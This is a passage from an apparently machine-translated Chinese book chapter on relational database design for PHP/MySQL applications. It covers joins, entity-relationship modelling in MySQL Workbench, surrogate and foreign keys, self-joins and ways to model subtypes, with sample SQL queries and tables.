、department
和division
表被组合成一个由所有列和行组成的虚拟表。left join
操作符和它们的using
子句用于将第 1 步中虚拟表中的行限制为那些department_id
列和division_id
列匹配或者这些列为空的行。- 我没有过滤步骤 2 中虚拟表的行,所以它们都保留了下来。
- 步骤 3 中的虚拟表被缩小到只包含四列,其中两列被重命名。
- 对步骤 4 中的虚拟表进行了排序。
MySQL 并不完全像我的工厂那样进行处理——它的效率要高得多——但这无关紧要,因为 SQL 是非过程化的。您指定了想要的结果集,但没有指定如何获得它。
顺便说一下,我刚刚介绍了 99%,甚至 100%的应用开发所需的所有连接:连接(内部连接)、左连接(左外部连接)和右连接(右外部连接)。我对表的看法是,我似乎从来不使用右连接。所以,如果你通读我写过的所有应用代码,你真正看到的只是 join 和 left join。(大约十年前,当我在 Oracle 为德克萨斯州的 Richardson 学区工作时,我做过一次完整的外部连接。现在想起来还会发麻。)
表达式和存储过程
与其他编程语言一样,SQL 包含大量的数字、字符串、日期和各种运算符和函数。表达式可以出现在 SQL 语句的几个地方,比如列列表(列值可以是计算的结果)、where
子句和update
语句。但是在 PHP/MySQL 程序中,你通常只会在where
子句中使用它们。与用 SQL 计算列值相比,更简单的方法是将值返回给 PHP 程序并在那里进行任何计算。(这是一个共性;我相信你会发现偶尔的例外。)类似地,对于要放入行中的值,您需要在 PHP 中进行任何需要的计算,然后将答案传递给 SQL。因此,您会发现 SQL 书籍或课程告诉您的大部分内容都没有任何用处。在学习 SQL 时,我会专注于真正强大的连接和子查询(稍后解释),而忽略传统的编程语言表达式。
SQL 的发展从最早的时候就没有停止过表达式。它现在包括一个完整的编程语言,所以你可以把程序放在数据库中,由数据库执行。对于 MySQL,这对于用于数据验证的触发器很重要,我将在本章的“约束”一节中介绍。否则,我不使用它们。
我想说的是,你对 SQL 的使用要保守。把它用在关系数据库最擅长的地方,用 PHP 完成大部分计算。
关于 SQL 的进一步阅读
这就是我现在要解释的关于 SQL 的全部内容,因为我完全跳过了我一直使用的employee
、department
和division
表的来源;也就是说,数据库是如何设计的,这一点更重要。我将在本书的剩余部分解释我使用的 SQL。
我的书架上没有一本介绍 SQL 的书。用了这么久,都不记得什么时候怎么学的了。我的 SQL 书籍都是参考书或者进阶书。我发现很难找到可以推荐的辅导书。他们都有一个或更多的缺陷:他们只是给出例子而没有真正解释发生了什么(就像我对我的select
语句工厂所做的),他们有错误的信息,或者他们太复杂和先进而不能作为介绍。但是我确实找到了一本技术上准确、易于阅读,并且解释了原理和理论的书:Clare Churcher (Apress,2008)的《SQL 查询入门》,这是迄今为止我遇到的最好的 SQL 入门书籍。她只关注查询,而不是任何更新或 SQL 的其他部分,但这没关系,因为 99%的能力和复杂性都在查询中;其他陈述很简单。
一旦你读过丘奇的书,或者如果你已经知道 SQL,我会去找高级书籍,其中最好的是乔·塞尔科(摩根·考夫曼,2011 年)的《聪明人的 SQL》,这本书真的很好,应该被任何打算专业使用 SQL 的人学习。(他的 SQL 编程风格(摩根·考夫曼,2005)也不错。)您可能想了解 MySQL 的 SQL 文档,您可以在 MySQL 网站dev.mysql.com/doc
找到这些文档。
如果你倾向于理论,C. J. Date (O'Reilly Media,2009)的《SQL 和关系理论》是一本很棒的书,绝对值得花时间去读。(事实证明,SQL 不是一种关系型语言,所谓的 RDBMS 也不是关系型数据库,你永远不需要使用空值。我是说理论上。)
实体关系建模
现在该说说表是从哪里来的了;也就是如何设计一个关系数据库。
ER 图 s
还记得我说过关系数据库中的表是独立的吗?我没有撒谎——他们在撒谎。但是,你不应该独立地思考 ??。您应该设计它们,以便可以使用select
语句创建虚拟表,以有用的方式呈现数据。雇员和部门的例子非常简单,很容易理解如何设置这些表来实现连接。然而,在实践中,有几十个表,每个表可能有十列或更多列,很难预料如何用 SQL 处理它们。我们需要一种在比独立表更高的抽象层次上工作的设计方法,这就是实体关系建模 (ER 建模)。
ER 建模并不是唯一的建模方法。许多程序员更喜欢使用面向对象的建模,使用统一建模语言(UML) 。如果您想这样做,那就去做吧,但是请记住,您不是要用面向对象的编程语言来实现这个模型,而是要用不支持继承的关系数据库来实现这个模型。正如我在“子类型”一节中解释的,有一种方法可以完成继承的一部分,但这不是一回事,所以不要过分使用深继承树。在这本书里,我不会涉及面向对象的数据库;与他们的继承情况不同。
ER 建模提供了比一组表格更具表达力的符号。在department
和employee
表中使用department_id
列意味着包括零个雇员在内的许多雇员可以在一个部门中,并且一个雇员可以在一个部门中,但不是必须在一个部门中(如果department_id
列包含 null)。那需要太多的思考。真想像图 4-2 中的图画一样说出来。
图 4-2 。许多员工可以在一个部门工作
图 4-2 是一个部门排和五个员工排的图。最好绘制表,这意味着所有雇员只有一个框,因为每个雇员只是雇员表中的一行。行尾的一些符号可以表示可能有许多雇员。其实我还在概念阶段的时候,连一个绘图应用都懒得做。我只是素描,如图图 4-3 。
图 4-3 。一个部门中许多员工的更简洁的绘图
像这样的图片有一个正式的名字:实体关系图 (ER 图)。与关系表不同,我们可以在表之间画线。那些线条代表关系,圆圈或圆角矩形代表实体。这些图片中没有显示实体的属性,比如名称和部门编号。(ER 图中显示的“关系”和“关系”数据库之间没有联系。那是巧合。)
其思想是,根据实体、它们的属性以及它们之间的关系,将整个数据库设计成一个 ER 图,然后,在根据需求(尤其是用例)对其进行验证之后,将它转换成 RDBMS 的一组表。顺便说一下,这种翻译基本上是机械的。
每当我使用“实体”这个词时,我实际上是指一个实体集(或实体类型)。从技术上讲,实体是集合中的一个成员,例如特定的雇员或特定的部门。面向对象的程序员知道这是类和实例之间的区别。但是,我从来不用“实体”这个词来指代一个实例;为此,我总是使用“元组”、“行”或“记录”这样的词我使用“实体”一词来指代那些元组、行或记录所在的表或关系。
ER 设计工具和 MySQL 工作台
我不会在纸上勾画整个数据库。在我画出大部分草图之后,当然是所有困难的部分,我使用 er 设计工具重新绘制图表,添加属性(即命名列),并让工具生成将创建数据库的 SQL 语句。如果我以后需要更改数据库,我会更改绘图并使数据库与之同步。您可以将 ER 设计工具想象成一个具有关系数据库智能的绘图程序。
我非正式地做建模,不关心关系的精确符号和盒子的正确形状(圆形或圆形,虚线或实线等)。).(你已经读到第四章了,现在你知道我几乎非正式地做了所有的设计;我只有在编码的时候才会紧张。)如果你想了解更多关于如何以正确的方式进行 ER 建模的知识,两本最好的书已经绝版,但仍然很容易从亚马逊的二手书店买到:案例研究:理查德·巴克(Addison-Wesley,1990)的《实体关系建模》,以及史蒂夫·霍伯曼(Technics Publications,LLC,2005)的《数据建模变得简单。也有更厚的书,比如 Graeme Simsion 和 Graham Witt (Morgan Kaufmann,2004)的数据建模基础,但是我没有发现所有额外的材料值得一读。
ER 设计工具曾经非常昂贵,但现在 MySQL 开发人员有一个免费的工具,叫做 MySQL Workbench,你可以从dev.mysql.com/downloads/tools/workbench
开始为 Mac OS、Windows 或 Linux 下载。它不仅仅用于 ER 建模,它还处理数据库管理、备份和恢复、表定义和更改、数据编辑和查询。我认为这对任何 MySQL 开发都是必不可少的。
我将展示如何用 MySQL Workbench 构建employee
、department
和division
表。首先,在初始屏幕上,我单击了“创建新的 EER 模型”按钮来启动一个新的模型,然后双击了“添加图表”按钮。这给了我一个空白的绘图画布,如图图 4-4 。
图 4-4 。空白画布
接下来我点击桌子图标,在图 4-4 中圈出,并点击画布放置一张桌子。我重复了两次,得到了如图图 4-5 所示的三个表格。
图 4-5 。三张桌子
然后我双击table1
进入列编辑器,在那里我将表名改为department
并输入列,如图图 4-6 所示。
图 4-6 。为部门表输入的列
我对employee
和division
表格做了同样的操作,并稍微重新排列了一下表格的位置,如图图 4-7 所示。
图 4-7 。完成的员工、部门和分部表
现在是有趣的部分。我点击图 4-7 中圈出的关系图标,从employee
表的department_id
列到department
表的department_id
列画一条线,在这两个表之间建立一对多的关系。(你从“多”的一面开始。)然后我从department
表的division_id
列到division
表的division_id
列做了同样的操作。这就完成了 ER 图,如图图 4-8 所示。
图 4-8 。完整的 ER 图
你觉得那很有趣吗?听听这个:MySQL Workbench 不仅仅是绘图——它知道如何将 ER 图转换为 SQL 来创建数据库,如果图发生变化,它甚至可以在以后同步它。为此,我从数据库菜单中选择同步模型,点击几个已经设置好默认值的对话框(MySQL Workbench 之前连接到我的开发平台数据库服务器),然后进入 SQL 屏幕,如图 4-9 所示。
图 4-9 。生成 SQL 来创建表格
我单击了 Execute 按钮,表就创建好了。为了将一些测试数据输入到division
表格中,我使用了 MySQL Workbench 的另一部分,表格数据编辑器,如图图 4-10 所示。我还将测试数据输入到department
和employee
表格中。
图 4-10 。输入到分部表中的数据
注意,我必须按顺序输入数据:division
、department
和employee
。这是因为数据库强制的外键约束,要求输入到department
表中的division_id
必须已经存在于division
表中。否则,将会有一个悬空的引用,一个不存在的division_id
。这种强制是参照完整性的一个方面,这是极其重要的,因为它确保了 ER 图所定义的数据库模型保持一致。
正如我提到的,当我添加新的表或列,或者修改现有的列时,我可以使用 ER 图,然后将更改同步回数据库,就像我创建初始表一样。MySQL Workbench 不需要编写 SQL DDL 语句。你必须用 PHP 程序编写代码,但是我很少这样做。我的 PHP 应用只处理数据,从不修改数据模型。
ER 设计流程
在他 1976 年介绍实体关系模型的论文(“实体关系模型——走向数据的统一视图”)中,陈品山给出了设计数据库的四个步骤,这些步骤在今天仍然有意义。
- “识别感兴趣的实体集和关系集”
- “识别关系集合中的语义信息,例如某个关系集合是否是[a] 1:n 映射”
- “定义值集和属性”
- “将数据组织成实体/关系关系并决定主键”
这些是我在这里遵循的步骤,现在我已经展示了 MySQL Workbench 中的 ER 设计工具是如何工作的。
识别实体
使用 ER 设计工具听起来很容易,事实也的确如此。这是因为该工具不能帮助您解决困难的部分,即决定实体应该是什么。在图 4-8 的例子中,我很容易地画出了实体和它们的关系,因为我已经用一张纸画出了我想要的东西。我思考的时候你没在看。你会很无聊的。
一旦有了实体,事情就变得简单了,因为需求会告诉你关系是什么。例如,一个部门可以有多名员工吗?是的,当然,否则为什么有一个部门。员工可以不在任何部门吗?是的,听起来很合理。一名员工可以在多个部门工作吗?不,那是不允许的。一个部门可以没有员工吗?是的,他们就是这样开始的。所以我的结论是,部门和员工是一对多的关系,从员工端来说是可选的。
当你确定关系时,应该向你的团队成员和客户提出这样的问题。这是引出更多需求的好方法。(回想一下第二章中的内容,需求开始时范围很广,但是非常缺乏细节。)如果你问一群学校管理人员,一个学生是否可以入学,但没有课程,接着就是 45 分钟的讨论,不要感到惊讶。你会提出一些你从未想过要问的问题。
属性也是由需求决定的。您需要足够的属性来生成每个报告和屏幕,为每个业务逻辑算法提供数据输入,并保存所有转换后的数据。
但是需求不会告诉你实体应该是什么,尽管它们肯定会建议很多实体。如果是人事系统,需求中会提到部门和员工。他们会满足所有的要求。绩效评估、经理、工资等级、电话号码和其他数百种东西也是如此。这是显而易见的。但是,这些东西是实体还是属性呢?电话号码本身是员工的属性还是实体的属性?如果是属性,是部门的属性还是部门经理的属性?
无论这些问题如何回答,都有可能让系统运行并满足所有需求。既然如此,一套答案要比另一套好得多。一个好的数据库设计可以决定一个容易实现的应用和一个难以忍受的半工作应用。数据库是应用设计中最重要的部分,而实体是数据库设计中最重要的部分。
实体到底是什么?实体是有意义的事物,可能是抽象的,数据库需要存储关于它的信息,并且它与一个或多个其他实体相关。细说,
- 一个实体需要是重要的,对数据库所代表的模型来说是重要的。对于世界事务会议(CWA)来说,很明显,专门小组成员、专家小组、主持人和捐款是非常重要的。电子邮件地址和航班到达时间不是——它们只是用来完成重要的事情。换句话说,成千上万的与会者在那里聆听专家小组成员参与小组讨论。他们根本不在乎他们的航班什么时候到达。他们可能会在意自己的电子邮件地址,但不是出于正当理由,而且 99%的人都不在乎。在所有数百个潜在的实体中,只有少数几个需要任何艰难的思考来决定他们是否值得这一崇高的荣誉。
- 如果这个东西有属性,它可能是一个实体。电话号码、电子邮件地址和航班时间没有属性;它们本身就是单一的价值观。在数据库设计中,我们不关心将电话号码、电子邮件地址和时间分解成它们的组成部分。如果需要,应用可以这样做。事实上,在数据库术语中,这些被称为原子值。(回想一下物理学,甚至原子也可以分裂,但是元素周期表——延伸这个类比——有原子的盒子,而不是电子、质子和中子的盒子。)
- 如果有一系列的东西,它们可能是实体。例如,即使你不认为小组是重要的,一个小组成员通常是其中的五个或十个,这意味着他或她所在的小组的列表,这暗示了实体。正如我们将看到的,属性列表不是一个好主意。
- 稍微改变一下前面的观点,如果事物是一个集合(例如,部门和分部),它可能是一个实体。
- 当你开始绘制关系时,你会发现一些实体需要被创建、合并或者调整。
- 好的数据库设计遵循规范化规则,你可能已经听说过(第一范式,第二范式,等等。).应用这些规则会强制将一个实体的某些属性移动到另一个必须创建的实体中。如果你的 ER 图是精心构建的,这种情况即使有,也会很少,但这是可能的。如果你试图设计没有 ER 图的表,由于标准化会有很多麻烦。
注意我所有的含糊其词,比如“可能”和“暗示”这是因为选择实体不是一成不变的。这涉及到一些艺术。
所以,记住这些要点,开始吧。需求摆在你面前,开始在一些纸上画代表实体的圆形或矩形。如果有助于你搞清楚事情的话,在一些属性上涂写,但是不要费心去得到所有的属性(忽略中间名、尊称、邮政信箱号码和其他琐事)。在人际关系中也画素描。如果你不喜欢乱涂乱画,你可以直接使用你的 ER 设计工具,但那可能会迫使你过早地进入太多的细节,而你仍然在为大图而奋斗。
经过几个小时的需求和你的草图,你会到达一个点,事情真正开始凝胶,er 模型开始有意义。您将愉快地发现,您理解您正在建模的组织或流程实际上是如何工作的。当您停止与同事谈论部门拥有员工,并开始谈论部门和员工表处于可选的一对多关系时,您将知道您已经到了。
然后是 ER 图表工具的时间。您必须更精确地确定关系,决定主键和外键,键入所有属性,并决定每个属性的物理数据类型。哦,别忘了,所有的表和属性都必须命名。那都是大量的工作,一小时又一小时。但是,主要是打字。你已经得到了实体!
识别关系及其语义信息
我已经解释并举例说明了一对多关系,这是目前最常见和最有用的一种关系。还有另外两个你会用到的。
- 一对一。这意味着一个表中的一行与另一个表中的一行相关。例如,一个面板(面板表的一行)可能有一个记录(记录表的一行)。一个面板不能有两个记录,一个记录只能属于一个面板。(这是 CWA 的政策。)如果面板不一定要有录音(可能面板还没发生),那就是可选的一对一关系。否则,这是强制性的。
- 多对多。一个小组成员可以在几个小组中,每个小组有几个小组成员。它在任何一端都可以是可选的:某个专门小组成员可能还没有被安排到任何专门小组中,或者可能生病了而没有到达,不得不从所有专门小组中被删除,但仍然是(失踪的)专门小组成员。或者,一个专门小组可能只是凭空想象出来的,CWA 委员会还没有将任何成员列入其中。
有认同和非认同关系。如果一个表与另一个表有标识关系,则第一个表中的行如果不与第二个表相关就不能存在。例如,没有面板就不可能有录音(CWA 只记录面板),所以一对一的关系也是可识别的(面板识别录音)。但是可以有一个没有部门的员工,所以这是不确定的。
在模型中表示标识关系的方法是将外键作为主键的一部分或全部。(我还没有正式介绍这两个术语,但是你可以理解我在这里所说的。)例如,如果面板表的主键是panel_id
,我们可以使它也成为记录表的主键。这既创造了一对一的关系,又使其具有识别性。这是一对一的,因为每个主键都必须是唯一的,所以panel_id
在记录表中只能出现一次。它是可识别的,因为每一行都必须有一个主键,除非有一个与之相关的面板,否则不可能有记录行。
如果是一对多的关系,因为一个面板可以有几个录音(可能一个音频一个视频),那么panel_id
只是录音主键的一部分;整个键可能是(panel_id, type)
,其中类型是音频或视频。出于同样的原因,它仍然是可识别的:没有panel_id
,因此没有面板,就没有主键,没有主键就没有行。
有趣的是,尽管多对多关系很重要,但是没有办法在关系数据库中直接表示它们。您必须创建另一个实体,有时称为交集(或关联)实体,您可以对其构建两个一对多关系。交集实体通常只有两列,每一列对应一个外键,这些外键引用表示多对多关系的表。
例如,图 4-11 显示了一个 MySQL 工作台画布,我在上面画了专门小组成员和小组表格。
图 4-11 。小组成员和小组成员表
现在,如果我单击图 4-11 中圈出的多对多关系图标,单击 panel 表一次,单击 panel 表一次,MySQL Workbench 不会绘制多对多关系。相反,它发明了一个新的实体,并为其构建了两个一对多的关系。老实说,图 4-12 中所示的panel_has_panelist
表不是我画的,也不是我命名的,更不是我输入的栏目。这个工具自己完成了所有这些工作。
图 4-12 。表示多对多关系的综合交集表
如果你仔细观察图 4-12 中的图,你可以看到两个外键panel_panel_id
和panelist_panelist_id
一起构成了panel_has_panelist
表的复合主键。这正是我想要的。我当然不想为那个表创建一个新的键,因为两个外键可以完成这项工作。
我不喜欢的是panel_panel_id
这样的名字。简单的panel_id
,准确地匹配panel
表的主键名,要好得多。这不仅使外键引用的内容更清晰,而且使 SQL 连接更简单,因为您可以说
select * from panelist join panel_has_panelist using (panelist_id)
join panel using (panel_id)
而不是罗嗦
select * from panelist join panel_has_panelist
on panelist_id = panelist_panelist_id
join panel on panel_panel_id = panel_id
合成表的名称panel_has_panelist
是可以的,但是我通常会为关系想一个更自然的名称,比如participation
,或者干脆选择更简洁的panel_panelist
。
交集表拥有附加属性是完全合理的。例如,假设小组成员有两个角色:演讲者和讨论者。这应该是panel_has_panelist
表的一个属性,因为同一个小组成员在不同的小组中有不同的角色。添加了这个属性后,panel_has_panelist
这个名字看起来更别扭。它现在是一个真正的实体,应该有一个像样的名字,比如participation
。当你设计一个数据库时,当你练习你的艺术时,这些是你要考虑的事情。
定义属性
如果一个数据项不值得作为一个实体,或者如果设计考虑,如规范化或处理多对多关系的需要,不要强迫它成为一个实体,它是一个属性(即列)。当您筛选需求时,您将得到一个初始的属性列表,并随着开发的进行或在初始部署后添加新特性时引入更多的属性。添加属性很少影响数据库或应用的其余部分,除了数据库进行更改时的一些开销。除此之外,MySQL 和大多数其他数据库可以动态添加属性。他们可以更改名称和类型,也可以删除它们,但是这些更改可能会影响正在运行的应用。
就数据库而言,您希望保持属性的原子性。没错,使用 SQL 字符串函数,您可以解析电子邮件地址或分解日期的各个部分,但这对于编码来说有些麻烦,而且您知道您正在尝试拆分原子。“电子邮件地址”和“日期”是常用的名称,表明它们是单个单元,因此适合用于数据库列。另一方面,如果您有一个名为name
的列,并输入像“Smith,John”或更糟的“John Smith”这样的值,它甚至看起来像是将两个字段打包成一个。实际上,有很多地方需要将名字和姓氏分开,当名字是单个字段时,试图解析名字会很麻烦,而且容易出错,尤其是当如此多的数据库在国际上使用时。本着组合比分解容易得多的原则,名字应该分解。没有人需要把电子邮件地址分开,所以它可以被认为是原子的。
如果这个属性有一个标准代码,试着使用它。美国邮政局为每个州和地区定义了代码,所以使用它们,而不是编造自己的代码或允许在表单中键入任何缩写。这同样适用于性别:一个名为 ISO/IEC 5218 的标准为未知、男性、女性和不适用(例如,公司)定义了代码 0、1、2 和 9,所以继续将列定义为整数并使用代码。(代码 0 避免了允许字段可为空,这具有其他优点;在“空值”一节中会有更多的介绍。)
我已经讨论了如何决定一个属性是否应该是一个实体,我会在“规范化”一节中详细介绍
决定主键
关系数据库不使用指针。相反,它们使用键来进行连接。此外,主键是标识要更新或删除的特定行的主要方式。
一个键是唯一标识表中一行的一列或多列。如果有不止一个,它们被称为候选键,你必须选择一个作为主键。大多数表只有一个键,所以别无选择。
每个关系都必须有一个主键,但是 SQL 表没有,MySQL 也是如此。但是,不要创建没有主键的表。在 MySQL Workbench 的 ER 图表部分,如果您有一个没有主键的表,您将不能用任何关系工具连接它。如果你想知道为什么当你点击鼠标时没有任何反应,这可能就是原因。我想这是一件好事,但是它确实迫使你在你的 er 设计中比你想要的更早地定义至少一个临时主键。
就关系理论而言,任何键都适合作为主键,即使它由几列(组合键)组成,并且它们是相当长的字符串。然而,实际上,组合键不方便用 SQL 编码(太多的输入),长组合键对于数据库处理来说效率很低。较短的键更好。最方便有效的键是单个整数列,或者,如果没有类似的东西,也可以是相当短的单个列,比如州代码。
如果数据中根本没有键,实体可能设计得不好。或者,可能只是数据没有合适的内容。CWA 人的桌子就是这种情况。我们不会像音像店或保险公司那样给小组成员或捐赠者分配号码。有时两个小组成员有相同的名字,当人们改变他们的名字或纠正拼写错误时,名字经常会被修改。您不希望您的主键经常被编辑。因此,我创建了一个代理键 :一个在插入一行时自动生成的整数,它保证是唯一的。它作为一个键工作得很好,但是它是实现的一个工件,在现实世界中没有任何意义。
我总是用表名加上后缀_id
来命名我的代理键。不要使用普通的id
,因为这样你就不能合理地使用相同的名称作为外键,因为id
太不明确了,如果已经有一个列使用了这个名称,它甚至是不被允许的。对于像department_id
这样的名字,我对外键使用相同的名字,除非包含该外键的表需要多个外键,可能一个外键用于雇员所在的部门,另一个外键用于他或她进行代码评审的部门。然后你需要去类似reporting_department_id
和code_review_department_id
的地方,或者reporting_id
和review_id
的地方。你的电话。
顺便说一句,千万不要在一个地方用“dept”而在另一个地方用“dept”。每样东西都应该只有一个名字,通常它不应该是一个缩写,除非它是一个广泛使用的标准名称。像“rprtng_dept_id”这样的词太难听了。
由实际数据形成的密钥称为自然密钥。其中一个应该永远是你的首选,但是如果没有可用的,或者有但是太笨拙,继续创建一个代理键。这在 MySQL 中很容易做到:只需将列设置为不可空且自动递增的整数。我已经在图 4-6 中展示了其中的一个,我在图 4-13 中放大了其中的一部分,这样你可以看得更清楚。请注意,PK(主键)、NN(不可为空)和 AI(自动递增)被选中。
图 4-13 。定义代理主键
代理键有三个主要缺点。
- 如果有另一个候选键,您可能需要对它指定一个惟一的约束,以确保不会输入重复的数据,因为代理键会使相同的行变得惟一。如果没有 unique 约束,一个重复的行将获得自己的代理键(记住,它是自动递增的),所以数据库会很高兴地插入它,并且错误不会被检测到。缺点是这需要一个额外的索引,因为这是唯一性的实现方式。如果自然键是主键,那么只需要一个索引。
- 当我们开始编写更多的 PHP 代码时,您会看到,如果您插入一个带有代理键的行,您必须在单独的数据库调用中询问这个键是什么,因为它是在插入时计算的,这可能有点棘手。如果钥匙是天然的,你就不用问了。
- 有时代理键会导致额外的连接。
要了解为什么会有额外的连接,假设您有一个包含列last
、first
、street
、city
和state
的person
表。您还有一个包含列city
、state
、population
和mayor
的city
表。图 4-14 显示了模型。
图 4-14 。与自然键的一对多关系
city 表的主键是(city, state)
,所以 person 表中的那两列是外键。请注意,这些是自然键。现在,如果您想要的只是一个包含城市和州的人员目录,那么您可以非常简单地做到,因为您想要的所有列都在person
表中。
select * from person
然而,(city, state)
正是我说过不喜欢的那种键:复合的、长的(例如,“马里兰州塞文河畔温彻斯特”)。因此,我将使 city 表的主键成为代理键city_id
,并使用它作为person
列中的单个外键,替换city
和state
列。(我们绝不会想把这些列留在那里,因为那样我们会在两个地方有城市和州,它们可能是不一致的。这就是正常化的意义所在。)
这些都没问题,但是现在要显示目录,我需要说
select * from person
join city using (city_id)
它有一个我以前不需要的连接,还显示了city_id
字段,对于不在数据库中的人来说,这完全没有意义。回到我真正需要做的地方
select last, first, street, city, state from person
join city using (city_id)
我不是说你不应该使用代理键。我喜欢它们,使用它们的次数可能比大多数数据库设计人员都多。我是说他们不自由。
嗯,有时候他们是免费的。如果您希望目录列出人口和/或市长,不仅不会有额外的连接,因为在两种情况下都需要连接,而且使用代理键的连接会更有效,因为键要短得多。
没有什么是直截了当的。你必须继续思考。
外键
表中的外键是另一个表(也可能是同一个表)中的主键,它在两个表之间建立关系。外键的唯一目的是参与联接。事实上,如果有一个外键与 ER 图上画出的关系不对应,那么一定有问题。外键不仅仅是为了被聪明的 SQL 程序员发现。它们总是被故意放在那里。是的,您当然可以连接两个表,一个表中有高尔夫差点属性,另一个表中有部门编号,但是这样做是没有意义的,即使您这样做了,也不会使高尔夫差点成为外键。
重要的是外键不能引用不存在的主键。这将意味着,例如,一个专门小组成员在特定的小组上,但是该小组行已经被删除。如果 panelist 表中的外键是用外键约束声明的,这种删除可能会被数据库阻止,MySQL Workbench 会自动这样做。如果您仔细查看图 4-9 中雇员表的 SQL,您会看到以下内容:
CONSTRAINT `fk_employee_department`
FOREIGN KEY (`department_id`)
REFERENCES `department` (`department_id`)
ON DELETE NO ACTION
ON UPDATE NO ACTION
这个约束意味着列department_id
是对表department
中同名列的引用,它引用的行不能被删除,除非首先删除该行,或者外键被更改,可能是 NULL。on delete
子句表示没有动作,但是有一个选项是cascade
,这意味着如果删除了department
表中被引用的行,MySQL 数据库也应该自动删除该行(在employee
表中被引用的行)。如果有另一个表的外键引用了 employee 表,并且也指定了cascade
,这可能会导致另一个级联。等等。
我从不使用cascade
,因为我害怕如果我没有完全考虑清楚事情以及数据库中的连锁反应可能导致的破坏。如果试图删除被引用的行,我宁愿得到错误消息。然后,我将把它翻译成用户能够理解的术语,比如“只要员工还在,就不能删除部门。”对我来说,这听起来安全多了;毕竟,用户可能试图错误地删除该部门,打算删除一个空部门。
正如我在讨论主键的命名时提到的,您总是希望外键具有相同的名称,除非在同一个表中有多个这样的外键,在这种情况下,它们必须具有不同的名称。无论如何,您都希望这样,因为外键显然服务于不同的目的。
正如我所说的,外键可以引用同一个表的主键。图 4-15 显示,还有两个不同角色的外键。建模的现实是经理和助理都是雇员,经理可以管理一个或多个雇员,助理可以协助一个或多个雇员(其中一些可能是经理)。MySQL Workbench 有点混淆了界限,但是如果您发挥想象力,您可以看到从主键(employee_id
)到manager
列的一对多关系,以及从主键到assistant
列的类似但完全独立的关系。为了澄清这种关系,这在您看来可能是颠倒的:一个经理(“一”方)管理几个员工(“多”方),每个人都有他或她的manager
列引用该经理的主键。(不是经理用manager
栏目;被管理的是员工。)助手同上。
图 4-15 。雇员表中的经理和助理外键列
在这里,我向雇员表添加了一些数据,以显示 Nancy Chu 是三名雇员的经理(他们的manager
列中有她的employee_id
):
mysql> select * from employee;
+-------------+---------------+----------+-------+---------+-----------+
| employee_id | department_id | last | first | manager | assistant |
+-------------+---------------+----------+-------+---------+-----------+
| 1 | 2 | Smith | John | 4 | NULL |
| 2 | 2 | Jones | Mary | 4 | NULL |
| 3 | 1 | Gonzalez | Ivan | 4 | NULL |
| 4 | NULL | Chu | Nancy | NULL | 2 |
| 5 | 3 | Doe | Jane | NULL | 2 |
+-------------+---------------+----------+-------+---------+-----------+
现在假设我想要一个显示每个雇员及其经理姓名的查询。在前面的例子中,当我有一个引用另一个表的外键时,我使用公共列名(例如,department_id
)来连接这两个表。这一次外键(manager
)引用了它所在的同一个表,所以我将把 employee 表与其自身连接起来。因为我将不得不两次提到employee
表,所以我将使用别名来保持它们的正确性。第一次提到的是我要寻找其经理的员工,所以我将使用别名e
。第二次提到的是经理,所以我用m
。(使用什么别名完全由你决定,只要它们是不同的。)好了,准备好这个:
mysql> select e.last, e.first,
-> m.last as manager_last, m.first as manager_first
-> from employee as e join employee as m
-> on e.manager = m.employee_id;
+----------+-------+--------------+---------------+
| last | first | manager_last | manager_first |
+----------+-------+--------------+---------------+
| Smith | John | Chu | Nancy |
| Jones | Mary | Chu | Nancy |
| Gonzalez | Ivan | Chu | Nancy |
+----------+-------+--------------+---------------+
注意,我还在列列表中使用了别名,因为有两个姓和两个名。如果没有别名,MySQL 会抱怨不明确的列名。理解这个查询的方法是首先查看表表达式。它是employee
表与其自身的连接,连接表达式根据主键测试manager
外键。完成后,我们只想挑选出给出这两个名字的四列。
如果您仍然感到困惑,请回到我最初对内部连接的解释,当时我取了一个叉积,然后注意到一些行有匹配的键。这里你也可以产生一个叉积,如图图 4-16 所示。
图 4-16 。员工表与其自身的交叉连接
由第一个employee
表(别名e
)提供的前六列是这样标记的,来自第二个employee
表(别名m
)的后六列也是这样标记的。第一个表中的列manager
是外键,第二个表中的列employee_id
是与之匹配的主键。回想一下,交叉连接显示了许多毫无意义的行;它所做的只是将第一个表的每一行与第二个表的每一行配对。然而,有些行是有意义的,我已经画了阴影。他们是那些
e.manager = m.employee_id
如果您回头看一下查询,这正是内部连接条件。内部连接意味着“取叉积,只给我满足条件的行。”现在我希望一个表和它本身的连接是清楚的。
在 CWA 应用中,一个人可以是一个人的住房主人、一个人的委员会联系人、一个配偶/伴侣、一个中间人,以及其他一些东西。很多人和其他人联系在一起!我的 SQL 充满了自连接,有时在同一个查询中有三四个。提示:如果您发现自己正在这样做,请明智地使用表别名来命名表,以便它们在查询的其余部分看起来像不同的表。
子类型
有时你有一个有点一般的实体,比如person
,以及该实体的几个更具体的子类型,比如moderator
、donor
和panelist
。一个拥有像person
这样的类的面向对象程序员可能会对它进行子类化来创建三个子类型,这样它们就继承了超类的公共属性,比如说,名和姓。仅与子类型密切相关的属性,例如是否要求匿名,将进入子类(比如donor
)。
但是关系数据库不是这样工作的。没有继承,也没有类似“子表”的东西。我们只有表,尽管如您所知,我们当然可以从一个表引用另一个表。有三种方法来处理子类型。
- 将所有子类型(
moderator
、donor
和panelist
)的所有属性放在person
表中,不要使用不需要的属性。这种方法有时被称为卷起。 - 把所有的属性,普通的和只有仲裁者的,放在一个
moderator
表中,对donor
和panelist
表做同样的事情。保留person
桌子,如果你需要它给任何不是主持人、捐赠者或小组成员的人;否则,扔掉它。这有时被称为下降。 - 仅将公共属性放入
person
表中,并为每个子类型创建一个单独的表(在本例中为moderator
、donor
和panelist
表)。用一对一的标识关系将子类型行连接到其在person
表中的行。你可以称这种方法为多表。
汇总方法很容易思考和使用,因为每个人,不管是什么角色,都是person
表中的一行,这看起来很简单。有些列有默认值,甚至空值,但那又怎么样呢?即使不涉及子类型,这也并不罕见。
向下滚动的方法听起来很笨拙,因为人们分布在四张或者更多的桌子上。比方说,将所有这些表与panel
表连接起来,以得出小组成员(主持人和小组成员)的列表,这需要额外的工作,并且 SQL 可能很快失控。(由子类型表的联合组成的视图会有所帮助。)
多表方法很简洁,应该会吸引面向对象的程序员。它确实需要一个 join 来获取版主、捐赠者或小组成员的所有属性,但这并不太坏,而且您可以创建一个隐藏 join 的视图,因此,实际上,您可以假装它是与查询相关联的。但是,根据 MySQL 对可更新视图非常严格的规则,这样的视图是不可更新的,因此任何插入、删除或更新都必须针对基表。这比只有一张宽大的卷起来的桌子要多得多。
